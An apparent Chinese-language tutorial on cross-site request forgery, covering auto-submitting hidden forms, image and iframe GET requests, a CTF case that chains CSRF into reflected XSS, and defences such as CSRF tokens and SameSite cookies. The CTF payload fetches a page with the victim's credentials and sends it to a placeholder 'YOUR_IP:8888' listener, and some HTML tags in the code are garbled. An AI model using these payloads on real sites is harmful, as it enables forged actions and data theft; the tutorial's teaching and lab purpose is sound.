跨站请求伪造(Cross-Site Request Forgery,简称 CSRF)是一种针对 Web 应用程序的攻击方式。通过 CSRF,攻击者诱导受害者在不知情的情况下,以受害者的身份执行非本意的操作。本文将详细介绍 CSRF 的基本原理、常见攻击方式、在 CTF 中的实战案例,以及如何防御 CSRF 攻击。
CSRF 攻击的核心思想是:
如果受害者已经登录某个网站,那么攻击者可以诱使受害者的浏览器在后台自动发送请求,这个请求会自动携带受害者的身份验证信息(如 Cookie),从而导致非本意的操作。
Cookie 自动携带:
当用户在浏览器中登录某个网站时,服务器会通过 Set-Cookie 将身份验证数据(如 SessionID)存储到浏览器中。以后,浏览器在访问同一网站时会自动带上这些 Cookie,无需用户额外操作。
同源策略(SOP):
浏览器通过同源策略来限制脚本访问其它域的数据,但对于跨站表单提交(如 GET 或 POST 请求),浏览器会自动携带 Cookie。CSRF 就正是利用这一特点来伪造请求。
受害者登录:
受害者在目标网站(例如银行、论坛等)登录后,浏览器中保存了有效的 Cookie 和会话信息。
攻击者构造恶意页面:
攻击者在自己控制的网站上(例如 hacker.localhost)制作一个恶意页面,该页面中嵌入了指向目标网站的请求。常见的方式包括使用隐藏的 HTML 表单、图片标签或 iframe 等。
诱导受害者访问恶意页面:
攻击者通过钓鱼邮件、链接分享或其它方式诱导受害者访问恶意页面。当受害者访问时,浏览器会自动向目标网站发送请求,并携带受害者的 Cookie。
目标网站执行操作:
由于请求中包含了合法的 Cookie,目标网站认为这是受害者本人发出的请求,从而执行敏感操作,如转账、修改密码、发布消息等。
攻击者在恶意页面中构造一个隐藏的 HTML 表单,并使用 JavaScript 自动提交。
示例代码:
<html>
<body>
<form id="csrfForm" action="http://targetsite.com/transfer" method="POST">
<input type="hidden" name="to_account" value="attacker_account">
<input type="hidden" name="amount" value="1000">
form>
<script>
document.getElementById('csrfForm').submit();
script>
body>
html>
这种方式依赖于浏览器自动提交表单,并且不会受到同源策略的限制,因为表单提交会自动携带 Cookie。
攻击者利用
或 标签触发 GET 请求。例如:
<html>
<body>
<img src="http://targetsite.com/delete_account?user=admin" style="display:none;">
body>
html>
或使用 iframe:
<html>
<body>
<iframe src="http://targetsite.com/perform_action?param=value" style="display:none;">iframe>
body>
html>
在受害者浏览器中使用 JavaScript 重定向到目标 URL,例如:
<html>
<body>
<script>
window.location = "http://targetsite.com/perform_action?param=value";
script>
body>
html>
这种方式也会自动携带受害者的 Cookie,从而完成 CSRF 攻击。
在 CTF 竞赛中,题目往往会设计一个脆弱的 Web 应用程序,让参赛者利用 CSRF 发起请求。一个典型的场景如下:
目标应用(pwnpost):
管理员的 flag 隐藏在草稿帖子中,只有在发布后才会完整显示。管理员默认不会发布草稿。
攻击思路:
利用 CSRF 诱使管理员浏览器发起一个 POST 请求到 /publish
,将草稿帖子发布。由于管理员的页面对草稿做了部分隐藏,所以发布后 flag 会完整显示。
利用 CSRF-to-XSS 链:
由于直接窃取 HttpOnly cookie 不可行,攻击者可以利用 CSRF 触发一个反射型 XSS 漏洞,从而在管理员浏览器中执行 JavaScript。该 JavaScript 使用 fetch() 请求目标页面,获取 flag 内容,再通过其他手段(例如 Image() 对象) exfiltrate 数据到攻击者服务器。
下面是一份示例代码,展示了如何利用 CSRF 触发反射型 XSS,然后 fetch() 页面获取 flag 内容并发送到攻击者服务器:
DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>CSRF-to-XSS Exfiltrationtitle>
head>
<body>
<h1>Triggering CSRF-to-XSS Attackh1>
<script>
// Construct the XSS payload. Dynamically split the closing tag to avoid premature termination.
var payload = `` + `ipt>
// Use fetch() to retrieve the homepage which includes the flag (after admin's draft is published)
fetch("http://challenge.localhost/", { credentials: "include" })
.then(response => response.text())
.then(data => {
// Exfiltrate the data to the attacker's server. Replace YOUR_IP:8888 with your attacker's address.
var exfilUrl = "http://YOUR_IP:8888/?flag=" + encodeURIComponent(data);
new Image().src = exfilUrl;
})
.catch(error => console.error("Fetch error:", error));
` + `ipt>`;
// URL-encode the payload so it can be safely passed as a parameter
var encodedPayload = encodeURIComponent(payload);
// Build the target URL using the /ephemeral endpoint which reflects the msg parameter
var targetUrl = "http://challenge.localhost/ephemeral?msg=" + encodedPayload;
// Create an invisible iframe to force admin's browser to load the target URL and execute our payload
var iframe = document.createElement("iframe");
iframe.style.display = "none";
iframe.src = targetUrl;
document.body.appendChild(iframe);
script>
body>
html>
部署步骤:
index.html
,并将 YOUR_IP:8888
替换成你攻击机的实际 IP 和监听端口。python3 -m http.server 1337
使恶意页面可通过 http://hacker.localhost:1337/
访问。nc -l -p 8888 -v
/challenge/victim http://hacker.localhost:1337/
为了防止 CSRF 攻击,常用的防御措施包括:
CSRF Token:
在敏感表单中加入一个随机生成的 token,并在服务器端进行校验,确保请求来源正确。
SameSite Cookie 属性:
设置 Cookie 的 SameSite 属性(如 SameSite=Lax
或 SameSite=Strict
),可以有效减少跨站请求中 Cookie 被自动发送的风险。
双重验证:
对于关键操作,要求用户在执行操作时进行额外确认(如验证码、短信验证等)。
CSP(Content Security Policy):
限制外部脚本的加载,有助于降低 XSS 攻击风险,但对于 CSRF 攻击防护效果有限。
CSRF 攻击利用浏览器自动携带 Cookie 的特点,让受害者在不知情的情况下执行敏感操作。在 CTF 竞赛中,题目往往会设计场景,让参赛者通过 CSRF 触发反射型 XSS,从而获取管理员页面中的 flag。
本文详细介绍了 CSRF 攻击的原理、常见方式以及一个实战案例,并讨论了如何防御此类攻击。
理解并掌握 CSRF 攻击有助于你在 CTF 中快速识别并利用漏洞,同时也能提高你对 Web 安全防护措施的理解。
Happy hacking and stay secure!